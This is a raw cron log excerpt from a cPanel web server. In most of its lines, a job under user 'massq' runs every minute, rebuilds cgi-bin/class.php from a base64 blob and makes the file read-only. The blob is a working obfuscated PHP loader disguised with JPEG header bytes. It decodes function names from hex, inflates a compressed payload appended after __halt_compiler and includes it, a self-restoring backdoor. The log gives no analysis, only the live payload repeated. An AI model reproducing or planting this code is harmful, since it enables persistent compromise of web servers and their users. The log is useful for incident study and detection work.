Nov 12 17:17:01 server CROND[17202]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 17:18:01 server CROND[18027]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 17:19:01 server CROND[18844]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 17:20:01 server CROND[19749]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 17:20:01 server CROND[19753]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 12 17:20:01 server CROND[19754]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 17:20:01 server CROND[19752]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 17:20:01 server CROND[19755]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 17:21:01 server CROND[20617]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 17:22:01 server CROND[21460]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 17:23:01 server CROND[22272]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 17:24:01 server CROND[22765]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 17:25:01 server CROND[23669]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 17:25:01 server CROND[23670]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 17:25:01 server CROND[23671]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 17:26:01 server CROND[24573]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 17:27:01 server CROND[25011]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 17:27:01 server CROND[25012]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 12 17:28:01 server CROND[25726]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 17:29:01 server CROND[26535]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 17:30:01 server CROND[27418]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
